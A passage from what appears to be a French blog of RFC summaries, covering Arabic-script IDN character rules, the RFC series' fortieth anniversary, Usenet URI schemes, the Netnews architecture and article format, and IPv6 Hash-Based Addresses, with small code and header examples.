Mais la normalisation de 6RD est aussi l'occasion de voir le processus IETF en action, lorsque l'auteur de la proposition n'est pas un habitué de l'IETF et n'a pas la culture « maison », ce qui était le cas de Rémi Després, un des concepteurs de Transpac, et qui a eu le courage de se plonger dans un monde bien différent, ce qui est toujours plus difficile que de rester seul dans son coin à expliquer qu'on a raison. Comme avec n'importe quelle organisation humaine, l'intégration du « petit nouveau » ne s'est pas fait sans mal mais, finalement, le RFC a été publié.
(Petite note au passage: ce RFC n'a que le statut de « Pour information » et la « vraie » norme IETF sur ce protocole n'apparaitra que plus tard. Notre RFC 5569 décrit le déploiement actuel, un « meilleur » protocole a été ensuite spécifié dans le RFC 5969.)
Il est resté de nombreux mois dans la file d'attente du RFC Editor, en raison de son statut de « soumission indépendante », dont les droits n'ont pas été définis avant le RFC 5744. Mais l'approbation technique était ancienne, datant d'avril 2009. Comme l'avait signalé l'auteur, dans son coup de gueule en séance plénière de l'IETF à Hiroshima en novembre 2009, « Ce RFC décrit comment déployer IPv6 en cinq semaines et voilà cinq mois qu'il attend, pour des raisons non-techniques. »
Date de publication du RFC : Février 2010
Auteur(s) du RFC : A. El-Sherbiny (UN-ESCWA), I. Oueichek (Syrian Telecom Establishment), A. Al-Zoman (SaudiNIC, CITC)
Pour information
Première rédaction de cet article le 13 février 2010
Dernière mise à jour le 18 juin 2010
La norme IDN, décrite dans les RFC 5890 et suivants, permet d'écrire des noms de domaine en Unicode, c'est-à-dire avec toutes les écritures du monde. Unicode est très riche et comprend une variété de caractères qui peut être jugée excessive dans certains cas d'utilisation. Voilà pourquoi, dans le cas d'IDN, il est parfois préférable de réduire le jeu de caractères utilisable, de le limiter à certains caractères. C'est ce que ce RFC fait pour l'écriture arabe.
Cette écriture a la particularité de s'écrire de droite à
gauche. Cela signifie qu'un nom de domaine partiellement en
Unicode (avec, par exemple, le
TLD
.com
à droite) n'a pas
grand sens et cela explique en partie le peu de déploiement des
IDN en écriture arabe jusqu'à présent, puisque
l'ICANN bloque toujours leur déploiement dans
la racine du DNS. Mais il y a aussi d'autres
raisons, comme un certain conservatisme dans les
registres nationaux des pays arabes.
L'écriture arabe est utilisée par bien
d'autres langues que l'arabe, par exemple en
Iran pour le persan et au
Pakistan pour
l'ourdou. Les registres non-arabophones sont
d'ailleurs parfois les plus dynamiques comme l'a montré celui du
.ir
, premier à enregistrer
des noms de domaines en écriture arabe. Malheureusement, le RFC se
focalise exclusivement sur la langue arabe.
Maintenant, pour un registre qui veut permettre cet enregistrement, faut-il autoriser tous les caractères « arabes » d'Unicode ? Il y en a beaucoup et certains peuvent ne pas correspondre à un réel usage. Leur présence dans la liste pourrait donc dérouter. Il est sans doute souhaitable que les registres des pays utilisant l'écriture arabe se mettent d'accord sur une liste de caractères utiles, et c'est le but de ce RFC.
La section 1 décrit le cadre général de ce document. Il a été écrit par l'AWG-ADN (Arabic Working Group on Arabic Domain Names), une émanation de la Ligue arabe. C'est dire si son origine est très « gouvernementale » et reflète souvent les points de vue de gouvernements autoritaires, voire dictatoriaux, facilement effrayés par la nouveauté. Ainsi, l'idée de « bannir » des caractères « non officiels » de la liste correspond bien à la mentalité de contrôle et de restriction de beaucoup de gouvernements arabes.
Les sections 2.1 et 2.3 du RFC listent les particularités de l'arabe en ce qui
concerne les IDN et les conséquences à en tirer. Par exemple (section 2.1.1), les « accents » comme
ّ (U+0651
, le
Chadda) sont rejetés pour les noms de domaine
en écriture arabe. Autre cas (section 2.1.3), des caractères
différentes peuvent parfois être confondus par certains
programmes. C'est le cas, par exemple le ة (U+0629
, le
Té' Marbouta),
souvent remplacé par le ه
(U+0647
, le Hā). Une telle confusion
ne respecte pas les règles de la langue (le RFC parle même, avec
emphase, de violation de l'éthique) et doit donc être évitée.
La section 2.3.1 couvre le difficile problème des chiffres. Il
existe deux séries de chiffres en arabe, les chiffres que les
francophones appellent « arabes », bien qu'ils soient d'origine
indienne (0, 1, 2, 3, ...,
U+0030
à U+0039
) et les
chiffres indiens d'origine (٠, ١, ٢ ...,
U+0660
à U+0669
). Les
premiers sont plutôt utilisés au Maghreb, les
seconds au Moyen-Orient. Si les premières
versions de ce document n'autorisaient que le premier jeu, celui
compatible avec ASCII, le RFC accepte
finalement les deux séries, prohibant uniquement leur mélange dans un
même nom de domaine.
Compte-tenu de ces points, une liste de caractères autorisés est
définie, en section 2.2. Elle comprend 60 caractères en tout. Voici un exemple
de code Python pour tester (les chiffres
indiens d'origine ont été exclus). Pour tester un composant d'un nom
de domaine, il faut appeler check(lenom)
:
def and_couple(l, r): return l and r def and_tuple(t): return reduce(and_couple, t, True) def check_ch(c): # Les chiffres indo-arabes, de U+0660 à U+0669, sont exclus return c in [unichr(0x0621), unichr(0x0622),unichr(0x0623),unichr(0x0624),unichr(0x0625), unichr(0x0626),unichr(0x0627),unichr(0x0628),unichr(0x0629),unichr(0x062A), unichr(0x062B),unichr(0x062C),unichr(0x062D),unichr(0x062E),unichr(0x062F), unichr(0x0630),unichr(0x0631),unichr(0x0632),unichr(0x0633),unichr(0x0634), unichr(0x0635),unichr(0x0636),unichr(0x0637),unichr(0x0638),unichr(0x0639), unichr(0x063A),unichr(0x0641),unichr(0x0642),unichr(0x0643),unichr(0x0644), unichr(0x0645),unichr(0x0646),unichr(0x0647),unichr(0x0648),unichr(0x0649), unichr(0x064A), '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] def check(name): return and_tuple(map(check_ch, name))
Date de publication du RFC : Avril 2009
Auteur(s) du RFC : RFC Editor
Pour information
Première rédaction de cet article le 8 avril 2009
Ce mois d'avril marque le quarantième anniversaire du premier RFC, le RFC 1, Host software, publié le 7 avril 1969.
Le RFC 5540 célèbre cet anniversaire en notant (section 1) que les 5400 RFC publiés (il y a des trous dans la numérotation) comportent 160 000 pages. Les RFC existaient donc longtemps avant l'IETF. Leur succès est celui de l'Internet : simple, librement accessible, fondé sur des normes ouvertes. La série des RFC a donc largement mérité son succès.
Pendant vingt-neuf ans, le RFC Editor était Jon Postel. Ce rôle est désormais assuré par une équipe de l'ISI, dirigée par Bob Braden. L'ISI a récemment publié un bilan de son action, à la veille du transfert de la fonction de RFC Editor à une autre organisation, pas encore choisie.
L'auteur du RFC 1 a également écrit un excellent article résumant la signification de ce travail, How the Internet Got Its Rules, où il rappelle que le RFC 1 a été terminé dans une salle de bains mais aussi que l'Internet n'aurait jamais existé si les requins de la propriété intellectuelle avaient pu donner leur avis. Le RFC 2555 avait, pour le trentième anniversaire, rassemblé les souvenirs de nombreux pionniers. Et le RFC 8700 avait continué la tradition, pour parler du cinquantième anniversaire.
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : F. Ellermann (xyzzy)
Chemin des normes
Première rédaction de cet article le 29 avril 2010
Le Web avait introduit un concept nouveau et
génial, les URL (bon, aujourd'hui, on dit
plutôt URI mais, en pratique, la différence est
plus faible qu'on ne le prétend souvent). Ces URL ont un
plan (scheme) qui indique la
syntaxe utilisée. Le RFC 3986, qui normalise les
URL, n'indique aucun plan particulier, chacun est décrit dans un RFC
différent, par exemple http:
, décrit dans la
section 3.2.2 du RFC 2616 ou telnet:
dans le RFC 4248. Notre RFC, lui, spécifie les plans news:
et nntp:
pour l'accès aux ressources
Usenet.
Autrefois, ce plan, comme beaucoup d'autres, était spécifié dans le
RFC 1738, qui normalisait le concept d'URL. Tous les autres avaient migré vers un
RFC plus récent, seuls news:
et
nntp:
restaient et le RFC 1738, bien dépassé, ne pouvait pas être officiellement
reclassé à cause d'eux. Désormais, le RFC 1738
peut enfin passer au statut « historique », une retraite bien
méritée.
Le débat a été très long car tout le monde pensait que les normes techniques d'Usenet seraient mises à jour plus rapidement et qu'il était donc logique de les attendre pour définir les URI d'Usenet. En fait, le RFC 5537 s'est fait longtemps attendre.
Le plan news:
, sections 2.2 et 4, permet de
récupérer un article d'Usenet sans indiquer de
nom de serveur NNTP, en se référant uniquement
au « Message-ID » (la section 7 du RFC rappelle
bien que le « Message-ID » n'est pas forcément
unique et que, de toute façon, les URI Usenet ne sont pas tellement
permanents). Un exemple d'un tel URI est news:p0624081dc30b8699bf9b@%5B10.20.30.108%5D
. À noter que, pour chercher un message ayant un
Message-ID donné, on peut se servir de Google Groups
(l'option « Lookup the message with message
ID »). Cela ne gère pas de vrai URI conforme à ce RFC, mais c'est mieux que
rien (on peut aussi sauter directement au résultat avec
http://groups.google.com/groups/search?as_umsgid= +
Message-ID
, qui peut s'emballer dans une extension
OpenSearch).
Le
plan nntp:
(sections 2.1 et 3) nécessite, lui, de
nommer explicitement le serveur NNTP. Un exemple d'un URI est nntp://news.gmane.org/gmane.ietf.tools/742
.
Un des gros changements par rapport au texte qui se trouvait dans le RFC 1738 concerne l'internationalisation (section 6). Les noms des groupes Usenet peuvent désormais être en UTF-8, avec l'encodage « pour cent » des URI.
Merci à Nicolas Krebs pour ses idées, indications et encouragement.
Date de publication du RFC : Novembre 2009
Auteur(s) du RFC : R. Allbery (Stanford)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF usefor
Première rédaction de cet article le 29 novembre 2009
L'antique RFC 1036 qui, pendant les vingt dernières années, était la seule norme gouvernant le système de news, vient d'être remplacé par une série de RFC dont celui qui fait l'objet de cet article, le RFC 5537 qui décrit l'architecture générale des news.
Les news (ou Netnews, dit le RFC) sont un extraordinaire système de distribution de messages, organisés en groupes de discussion (newsgroups). Chacun de ces groupes peut être un vecteur d'annonces ou bien un forum de discussion, où la vigueur de ces discussions sont une caractéristique fréquente des news. Les news existaient avant que l'Internet ne se répande et, jusqu'à très récemment, était souvent distribuées avec des protocoles non-TCP/IP tel qu'UUCP. Mille fois, la fin des news a été annoncée, au profit de gadgets récents accessibles via le Web et à chaque fois, elles ont continué à inonder les serveurs et à passionner des dizaines de milliers de participants. À l'époque où n'importe quel système de communication via le Web fait immédaitement l'objet de l'attention des médias et des experts, les news reste un outil « invisible » (en tout cas invisible aux chefs, aux experts, aux ministres et aux journalistes), ce qui fait une bonne partie de leur charme.
Maintenant, place à la technique. Comment les news
fonctionnent-elles (section 1 de notre RFC) ? Les serveurs de news s'échangent des articles,
dans un format normalisé. Les articles sont regroupés en groupes comme
fr.reseaux.internet.hebergement
ou soc.culture.belgium
. Les
groupes qui partagent un préfixe commun comme fr
forment une hiérarchie. Chaque
serveur transmet ses articles à ses voisins qui, à leur tour, le
transmettent à leurs voisins, un protocole dit
d'inondation (il existe d'autres protocoles fondés sur le bavardage de proche en proche dans l'Internet). Un ensemble de serveurs ainsi
reliés est un réseau et le principal se nomme
Usenet (il existe aussi des réseaux privés,
bien plus petits). Lorsque les gens disent qu'ils lisent les news
ils font en général allusion à celles d'Usenet.
Les deux principaux RFC de la nouvelle série, celle qui remplace le RFC 1036, sont le RFC 5536, qui normalise le format des messages, un format très inspiré de celui du courrier électronique, et notre RFC 5537 qui décrit le cadre général. L'annexe A est consacrée aux changements depuis le RFC 1036. Le développement de cette nouvelle série de RFC a finalement pris près de dix ans. (Une documentation du premier effort se trouve dans le RFC 1849, « Son of RFC 1036 ».)
Parmi les serveurs de news, la section 1.2 fait la distinction entre :
mais, en pratique, beaucoup de logiciels assurent plusieurs fonctions à la fois. Par exemple, INN est injecting agent, relaying agent et serving agent.
Les devoirs des différents logiciels sont résumés dans la section 3. Il y a des grands principes (section 3.1), comme le Principe de Robustesse « Soyez restrictif dans ce que vous envoyez et ouvert pour ce que vous recevez » ou bien comme le principe d'Hippocrate, « Avant tout, ne pas nuire », c'est-à-dire que, en cas de doute, le logiciel doit s'abstenir d'intervenir. D'autant plus que le RFC rappelle que tous les lecteurs doivent voir le même article, ce qui interdit les modifications qui ne soient pas purement techniques.
Et il y a des règles plus pratiques. Par exemple, la section 3.2
est consacrée au champ Path:
des en-têtes. Il
sert à indiquer le chemin parcouru par le message entre les
relaying agent et donc à éviter les boucles. Tout
serveur doit donc indiquer son identité dans ce champ (section 3.1.5
du RFC 5536, l'identité est en général le
nom de domaine du serveur). Les sections 3.2.1
et 3.2.2 détaillent le processus de formation du champ
Path:
, bien plus riche que dans le RFC 1036. Un Path:
peut être aussi complexe
que :
Path: foo.isp.example!.SEEN.isp.example!!foo-news !.MISMATCH.2001:DB:0:0:8:800:200C:417A!bar.isp.example !!old.site.example!barbaz!!baz.isp.example !.POSTED.dialup123.baz.isp.example!not-for-mail
qui utilise la plupart des possibilités comme celle de noter que la
machine 2001:DB::8:800:200C:417A
n'avait
peut-être pas le droit de se prétendre
bar.isp.example
.
Tout aussi important que Path:
qui permet
d'éviter les boucles et de détecter les problèmes, par exemple les
injections de spam, est l'en-tête
Message-ID:
(section 3.1.3 du RFC 5536) qui sert à assurer l'unicité des articles et à garantir que
l'algorithme d'inondation se termine : un serveur refuse les articles
qu'il a déjà. Pour s'en souvenir, il doit donc stocker les
Message-ID:
dans une base de données, souvent
nommée history
(section 3.3).
La section 3.4 se penche ensuite sur le cas des posting
agents, le logiciel avec lequel l'utilisateur va interagir
pour écrire sur les news. Parmi leurs nombreuses tâches figure
celles liées aux réponses à des messages existants (sections 3.4.3 et
3.4.4). Le logiciel doit
notamment construire un champ References:
qui
citera le Message-ID:
du message auquel on répond,
permettant ainsi au lecteur de news de reconstituer les fils de
discussion (même s'il y aura toujours des ignorants pour voler les fils, comme avec le
courrier). Voici la partie de l'en-tête qui montre une réponse au
message
<l_CdnfgkWe7PWyLUnZ2dnUVZ8viWnZ2d@giganews.com>
:
Newsgroups: fr.comp.reseaux.ethernet References: <l_CdnfgkWe7PWyLUnZ2dnUVZ8viWnZ2d@giganews.com> Subject: =?iso-8859-1?Q?Re:_Debogage_d'une_panne_r=E9seau?= Message-ID: <49bfceec$0$2734$ba4acef3@news.orange.fr>
Les news ne sont pas seulement une technique mais avant tout un réseau social (même si le mot n'était pas encore à la mode lors de leur création). Certains groupes sont donc modérés et il faut donc aussi spécifier les règles techniques que doivent observer les modérateurs (section 3.9).
Il n'y a pas que les news dans la vie et certains groupes peuvent
intéresser des gens qui ne veulent ou ne peuvent pas accéder aux
news. Le rôle des passerelles est donc de convertir les articles
depuis, ou vers le monde des news. Par exemple, une passerelle peut
traduire les news d'un groupe en HTML et les mettre sur
une page Web (voyez par exemple l'archive de
comp.os.research). Mais les passerelles les plus répandues sont
celles entre les news et le courrier
électronique, permettant aux utilisateurs du courrier
d'écrire sur les news ou bien de recevoir des news par
courrier. Historiquement, les passerelles ont souvent été responsables
de problèmes sur les news, par exemple de boucles sans fin (article
transmis du réseau A au réseau B puis retransmis vers A et ainsi de
suite éternellement) et la section 3.10 normalise donc ce
qu'elles doivent faire et ne pas faire. Les passerelles doivent
notamment conserver le Message-ID:
, principale
protection contre les boucles, puisque permettant de voir qu'un
message est déjà passé. La section 3.10.4 donne un exemple complet
pour le cas d'une passerelle bidirectionnelle avec le courrier.
Aujourd'hui, la plupart des news sont transportées par le protocole NNTP, dont le RFC 3977 date d'un peu plus de deux ans. Mais, historiquement, UUCP (RFC 976) avait été très utilisé. La section 2 du RFC détaille les obligations de ces protocoles de transport, notamment le fait de pouvoir faire passer des caractères codés sur 8 bits (permettant ainsi des encodages comme Latin-1). Cette obligation, nécessaire à l'internationalisation a fait l'objet de longues luttes, depuis l'époque où les logiciels devaient encoder les messages écrits en français avec le Quoted-Printable. L'obligation s'applique aussi aux en-têtes des messages et un logiciel de news a donc davantage d'obligations ici qu'un logiciel de messagerie.
Une des particularités des news est que les messages de contrôle
(comme ceux demandant la création ou la suppression d'un groupe) sont
des messages comme les autres, distribués par le même mécanisme
d'inondation. La section 5 normalise ces messages. Le principe de base
est que le message de contrôle se reconnait par la présence d'un
champ Control:
(section 3.2.3 du RFC 5536). Dans l'ancien RFC 1036, les messages de contrôle
pouvaient aussi se reconnaitre par un sujet spécial, commençant par
cmsg
mais cet usage est désormais officiellement
abandonné.
Il n'y a aucune sécurité dans les news en général. Certains réseaux peuvent ajouter leurs propres mécanismes mais Usenet, par exemple, n'a pas de mécanisme général. Les messages de contrôle peuvent donc facilement être imités, même s'il existe des méthodes non officielles pour les authentifier (section 5.1). Usenet étant un réseau très animé et très peu policé, cette absence de sécurité a donc entrainé souvent des surprises. Le RFC rappelle donc l'importance de tenter de s'assurer de l'authenticité d'un message de contrôle (les méthodes pour cela ne sont pas normalisées mais, par exemple, INN peut vérifier les signatures PGP).
Les messages de contrôle permettent, par exemple, d'annuler un
message, de stopper sa diffusion (section 5.3). Comme on s'en doute,
ce sont parmi les messages les plus souvent usurpés. Le RFC 1036 demandait, dans l'espoir de renforcer la sécurité, que
l'expéditeur (tel qu'indiqué par le champ From:
)
soit le même dans le message de contrôle et dans le message
initial. Comme il est trivial d'usurper cette identité, cela ne
faisait que diminuer la traçabilité, en décourageant les
« annulateurs » de s'identifier. Cette règle est donc supprimée par
notre RFC.
Les messages de contrôle liés à la gestion des groupes sont
décrits dans la section 5.2. Par exemple,
newgroup
(section 5.2.1) permet de créer un
nouveau groupe. Il ressemble à :
From: "example.* Administrator" <admin@noc.example> Newsgroups: example.admin.info Control: newgroup example.admin.info moderated ...
Parlant de sécurité, la section 6 lui est entièrement consacrée. Elle résume dès le début la situation : NetNews avait été conçu pour la diffusion large de l'information, et la sécurité en est presque totalement absente. Des grosses erreurs de mise en œuvre avaient en outre aggravé les choses comme le fait que certains logiciels appliquaient (il y a longtemps) les messages de contrôle... en les passant, verbatim, au shell !
Avant de participer aux news il faut donc bien être conscient ce
ces problèmes : vulnérabilité aux dénis de
service (section 6.2), non-authentification de
l'expéditeur (attention donc si un message semble particulièrement
outrancier, son vrai expéditeur n'est peut-être pas celui affiché dans
le champ From:
) et diffusion très large, parfois
au delà de ce qui était prévu (section 6.3).
Les articles de news étaient traditionnellement marqués, dans le
système MIME comme
message/news
. Ce type n'a jamais été un grand
succès et notre RFC 5537 le remplace par trois nouveaux
types, décrits en section 4,
application/news-transmission
pour un articles en
route vers un injecting agent ou bien un modérateur
et deux types pour les messages de contrôle,
application/news-groupinfo
et application/news-checkgroups
.
L'annexe A résume les changements depuis le RFC 1036. Parmi eux :
Path:
, permettant de mettre davantage
d'informations comme la notification de suspicions sur l'origine d'un
message,cmsg
,From:
du message et de l'annulation
correspondent),Il existe aujourd'hui de nombreuses mises en œuvre des news en logiciel libre. Par example, parmi les logiciels client (lecture et écriture), xrn ou Thunderbird (ce dernier ne sert donc pas qu'au courrier). Parmi les serveurs, INN. Personnellement, je regrette que mon lecteur de courrier habituel, mutt, n'aie pas de fonction de lecture des news, même si plusieurs modifications non officielles ont déjà été proposées.
En 2001, l'achat par Google de la société DejaNews a mis à la disposition du géant de la recherche sur Internet une archive de tous les messages Usenet depuis 1981. Cette archive est désormais cherchable par date sur Google Groups. Si vous voulez chercher mon premier article envoyé sur les news... (Avec une double signature, une erreur de débutant.) Ou bien une discussion en 1993 sur le DNS...
Date de publication du RFC : Novembre 2009
Auteur(s) du RFC : K. Murchison (Carnegie Mellon
University), C. Lindsey (University of
Manchester), D. Kohn (FlyDash)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF usefor
Première rédaction de cet article le 29 novembre 2009
Malgré la concurrence de la messagerie instantanée, du courrier, du Web avec la syndication, Usenet / Netnews, un des plus anciens outils numériques de communication et de distribution d'information continue à vivre. Plus ancien que l'Internet sur beaucoup de sites (Usenet était souvent distribué via UUCP), ce dinosaure continue à faire la joie et le désespoir de millions d'utilisateurs. Mais ses normes avaient un peu vieilli et pas subi de mise à jour depuis longtemps. C'est heureusement ce qui vient de leur arriver, dans une série de RFC dont les premiers publiés sont le RFC 5537 et notre RFC 5536, qui normalise le format des messages. Ces documents ont pris plus de huit ans à être élaborés et approuvés.
Notre RFC 5536 est le successeur du célèbre RFC 1036, publié en décembre 1987, et qui spécifiait avant lui le format des messages (comme ce que fait le RFC 5322 pour le courrier). Depuis des années, les mises en œuvres existantes de Usenet utilisaient un sur-ensemble du RFC 1036, sur-ensemble qui vient d'être normalisé. (Avant cela, ces améliorations étaient contenues dans un document informel, « Son of RFC 1036 », qui a finalement été publié en RFC 1849.)
Les news comprennent plusieurs parties : le protocole de transport des messages, aujourd'hui essentiellement NNTP (RFC 3977), le format des messages (notre RFC 5536) et des conventions plus ou moins formelles entre les sites qui s'envoient des messages NetNews, ces sites formant le réseau Usenet (ou des réseaux privés).
Que contient concrètement notre RFC ? La section résume les concepts de base. « NetNews » est composé d'un ensemble de protocoles pour stocker, transmettre et lire des articles, organisés en groupes (newsgroups). Ces articles sont typiquement distribués au sein d'Usenet par un algorithme d'inondation. Pour retrouver facilement un article, et déterminer s'il est déjà présent localement, le serveur Usenet utilise un Message ID (section 3.1.3) qui est présent dans chaque article, et est unique. Le format NetNews est très proche de celui du courrier, tel que décrit dans les RFC 5322 et RFC 2045. La définition de la syntaxe d'un article (section 1.4) emprunte également beaucoup au RFC 5322 (voir annexe C, qui développe les différences entre les deux formats ; notre RFC 5536 a une syntaxe plus stricte).
La section 2 décrit en détail ce format, en partant du RFC 5322, mais en ajoutant des restrictions (section 2.2). L'internationalisation, comme pour le courrier, est assurée par MIME (section 2.3) et notamment les RFC 2049 et RFC 2231 (voir aussi la section 4).
Une fois les principes de base du format posés dans la section 2,
la section suivante décrit chaque en-tête possible. Certains sont
obligatoires dans tout article (section 3.1) comme
Date:
(section 3.1.1) ou
From:
(3.1.2). Est également obligatoire
Message-ID:
(section 3.1.3) qui est un
identifiant unique de l'article, sur lequel les serveurs se basent
pour mettre en œuvre l'algorithme d'inondation. Les
identificateurs d'articles
sont transmis à tous les serveurs voisins, ceux-ci pouvant alors dire
s'ils acceptent ou refusent (car ils ont déjà un article de même
Message-ID:
). (Le Message-ID:
sert également aux recherches d'un article, par exemple, via GoogleGroups.)
Dans les en-têtes obligatoires, on trouve également
Newsgroups:
(section 3.1.4) qui donne la liste des groupes dans
lequel l'article a été envoyé et Path:
(3.1.5),
qui est la séquence des serveurs par lesquels est passé l'article,
séparés par des !. Cet en-tête vise à empêcher
les boucles dans l'algorithme d'inondation : même si la détection d'un
Message-ID:
connu ne marche pas, le fait que le
serveur apercevra son nom dans le path:
lui
indiquera qu'il doit rejeter l'article.
L'ancienneté des NetNews fait que beaucoup de points de la norme
s'expliquent par des raisons historiques. Ainsi, le fait de mettre le
nom de l'expéditeur au début du Path:
et la ressemblance d'un
Path:
avec une adresse
UUCP avec route explicite ne sont pas un
hasard. Dans les réseaux UUCP, le Path:
pouvait
être utilisé comme adresse de courrier, pour écrire à l'expéditeur
(cet usage s'est perdu et notre RFC recommande de mettre
not-for-mail
comme adresse d'expéditeur).
Bien sûr, il y a aussi des en-têtes facultatifs, décrits dans la
section 3.2 : c'est le cas par exemple de
Archive:
(section 3.2.2) qui indique si
l'expéditeur veut que son message puisse être archivé
(Google permet de chercher dans tous les
articles échangés sur Usenet depuis
1981).
Expires:
(section 3.2.5) sert à indiquer au
bout de combien de temps l'article peut être supprimé d'un serveur qui
veut faire de la place (en l'absence de cet en-tête, le serveur décide
seul de la date d'expiration).
Et il y a bien d'autres en-têtes possibles dans cette section 3.2.
Quelle est la sécurité offerte par Usenet ? Nulle, rappelle la section 5. Les articles ne sont pas confidentiels et leur intégrité n'est pas garantie.
La liste complète des changements depuis le RFC 1036
apparait en annexe B. MIME est désormais
formellement reconnu (la plupart des logiciels le géraient depuis
longtemps mais il n'existait pas à l'époque du RFC 1036). Certains en-têtes largement acceptés par les logiciels
deviennent officiels, comme Archive:
. Autrement, les changements sont surtout du toilettage
de syntaxe.
Voici, tel qu'il passe sur le réseau (affiché dans un logiciel de lecture, cela peut évidemment être très différent) un article à ce format :
Path: news.free.fr!xref-2.proxad.net!spooler1c-1.proxad.net!cleanfeed2-a.proxad.net!nnrp3-2.free.fr!not-for-mail From: Stephane Acounis <panews@free.fr> Subject: =?iso-8859-1?b?wA==?= donner: Sun(s) SS20 sur Nantes Date: Mon, 09 Jun 2008 19:24:17 +0200 User-Agent: Pan/0.14.2 (This is not a psychotic episode. It's a cleansing moment of clarity.) Message-Id: <pan.2008.06.09.17.24.16.590396@free.fr> Newsgroups: fr.comp.ordinosaures MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit Bonsoir, J'ai deux stations Sun SS20, une bi-pro (SM75), l'autre mono-pro (SM75), à donner sur Nantes (ou Nançay mercredi/jeudi ou Brest vendredi). 256Mo de mémoire vive, disque 9Go, carte vidéo. Je doit avoir des claviers, des câbles divers, des cartes SBus en plus. ...
Notez l'en-tête Subject:
encodé selon le RFC 2047.
NetNews est mis en œuvre dans de nombreux logiciels aujourd'hui, souvent dans les logiciels de courrier, vu la ressemblance des formats. C'est ainsi que le célèbre MUA Thunderbird est également un bon lecteur de News.
Date de publication du RFC : Juin 2009
Auteur(s) du RFC : M. Bagnulo (UC3M)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF shim6
Première rédaction de cet article le 18 juin 2009
Les HBA (Hash Based Addresse) de ce RFC sont des adresses IPv6 fondées sur un résumé cryptographique d'un certain nombre de valeurs, permettant de garantir que toutes les adresses HBA d'un groupe donné sont liées. Elles sont notamment utilisées par le protocole SHIM6 (RFC 5533). Contrairement aux adresses CGA du RFC 3972, dont elles sont proches, les HBA ne nécessitent pas de cryptographie asymétrique. Par contre, elles ne permettent pas de prouver le lien entre une machine et une adresse IP, juste de prouver que les adresses d'un groupe ont été générées par la même machine.
Quel problème essaient de résoudre les HBA (section 1 du RFC) ? Dans les protocoles conçus pour le multihoming comme SHIM6 (RFC 5533), une machine annonce à ses pairs qu'elle a plusieurs adresses IP. Qu'est-ce qui l'empêche d'annoncer des adresses qui ne sont pas « à elle », soit pour capter le trafic d'un tiers, soit pour réaliser une DoS contre ce tiers en provoquant l'envoi de nombreux paquets vers lui ? SHIM6 utilise deux mécanismes proches, les CGA et les HBA. Dans les deux cas, les adresses IP annoncées peuvent être vérifiées cryptographiquement. CGA signe les adresses avec une clé asymétrique donc le pair peut vérifier qu'une adresse « appartient » bien au pair. HBA procède différemment : une adresse HBA est composée de deux parties, un préfixe de 64 bits et un identificateur local (également de 64 bits) qui est un résumé de l'ensemble des préfixes IP de la machine (puisque HBA est fait pour les machines multihomées, il y a plus qu'un préfixe) et d'un nombre aléatoire. HBA ne permet donc pas de prouver l'appartenance d'une adresse IP à une machine, uniquement le fait que toutes les adresses HBA d'un même groupe sont liées. Une machine SHIM6 qui utilise HBA ne pourra donc pas ajouter ou retirer des adresses IP au jeu d'adresses annoncé (elle le pourrait avec CGA) et HBA ne convient donc pas à des problèmes comme la renumérotation d'un réseau ou comme la mobilité. Mais le pair pourra vérifier, lors de l'établissement de l'association SHIM6, que ces adresses sont toutes liées à la même machine et sans les calculs longs et compliqués de la cryptographie asymétrique. HBA est donc plus économe. (Voir la section 3.3 pour une discussion plus détaillée du cahier des charges de HBA.)
Autrement, HBA et CGA sont très proches, utilisent les mêmes formats et ont également en commun de ne pas nécessiter de PKI.
Les risques de sécurité que les HBA traitent sont résumés en section 3.1, suivant le RFC 4218 (et traités en détail dans la section 11). En gros, les deux attaques possibles sont le détournement (un méchant va essayer d'obtenir des paquets qui n'étaient pas normalement pour lui) et l'inondation (un méchant va essayer de noyer une victime sous un flot de paquets). HBA protège uniquement contre les premier risque, d'autres protocoles doivent gérer le second, par exemple en testant si le pair est joignable (ce que fait SHIM6).
La section 3.2 donne le principe de base de HBA : si une machine a trois préfixes IPv6, mettons A, B et C, elle choisit un nombre M au hasard puis génère trois adresses, une par préfixe. Pour A, elle concatène au préfixe le résumé cryptographique de la concaténation de M, de A et la la liste des préfixes (A, B et C). Même principe pour les autres préfixes. Étant donné une liste de préfixes (rappelez-vous que, avec HBA, elle doit être stable), un préfixe et le nombre M, on peut donc vérifier qu'une adresse fait bien partie du groupe, en recalculant le résumé.
Une particularité des HBA est qu'elles sont normalisées comme étant une variante des CGA du RFC 3972. La section 4 de notre RFC est donc dédiée à l'étude de la compatibilité exacte entre HBA et CGA. Cette compatibilité permet d'avoir des adresses qui sont à la fois HBA et CGA. On peut donc les utiliser dans des protocoles comme SEND (RFC 3971), qui impose des CGA. Il y a donc trois types d'adresses :
Quelle est cette extension « multi-préfixe » ? Décrite dans la section 5 de notre RFC, elle permet de représenter l'ensemble des préfixes liés par HBA. C'est cet ensemble qui servira d'entrée au hachage cryptographique.
Le mécanisme exact de génération est en section 6. Il est dérivé de celui de CGA, en section 4 du RFC 3972. La plus grande différence avec CGA est que l'adresse ne peut pas être fabriquée sans connaître les préfixes. Toutes les adresses doivent donc être générées ensemble. L'entrée des fonctions cryptographiques comporte donc l'extension multi-préfixe, qui indique les préfixes, une clé publique (si l'adresse est une mixte CGA/HBA) ou une initialisation aléatoire (nonce) - encodée comme si c'était une clé publique CGA - si l'adresse est une HBA pure et les autres paramètres de CGA.
À ce stade, on a donc un ensemble d'adresses disponible pour la machine. Si une autre machine veut vérifier ces adresses, elle doit utiliser les techniques de la section 7. Par exemple, 7.2 expose comment vérifier qu'une adresse donnée fait bien partie d'un ensemble HBA. (On vérifie que le préfixe de l'adresse est dans l'ensemble indiqué dans l'extension multi-préfixe puis on refait le hachage et on vérifie que l'identificateur local, les 64 bits les plus à droite, sont bien les mêmes.)
La publication des adresses HBA dans le DNS fait l'objet de la section 9. La recommandation est que « ça dépend ». Selon que la machine a uniquement des adresses HBA ou pas, selon que les préfixes soient des ULA ou pas, il peut être raisonnable ou pas de publier ces adresses HBA dans les DNS. Puisqu'une adresse HBA ressemble à n'importe quelle autre adresse IPv6, le client qui les trouve dans le DNS ne sait pas s'il a affaire à une HBA ou pas et il doit donc déduire cela d'un autre mécanisme.
Une mise en œuvre de HBA en C
se trouve en
http://ops.ietf.org/multi6/francis-hba.tar.gz
.
Date de publication du RFC : Juin 2009
Auteur(s) du RFC : E. Nordmark ((Sun), M. Bagnulo (UC3M)
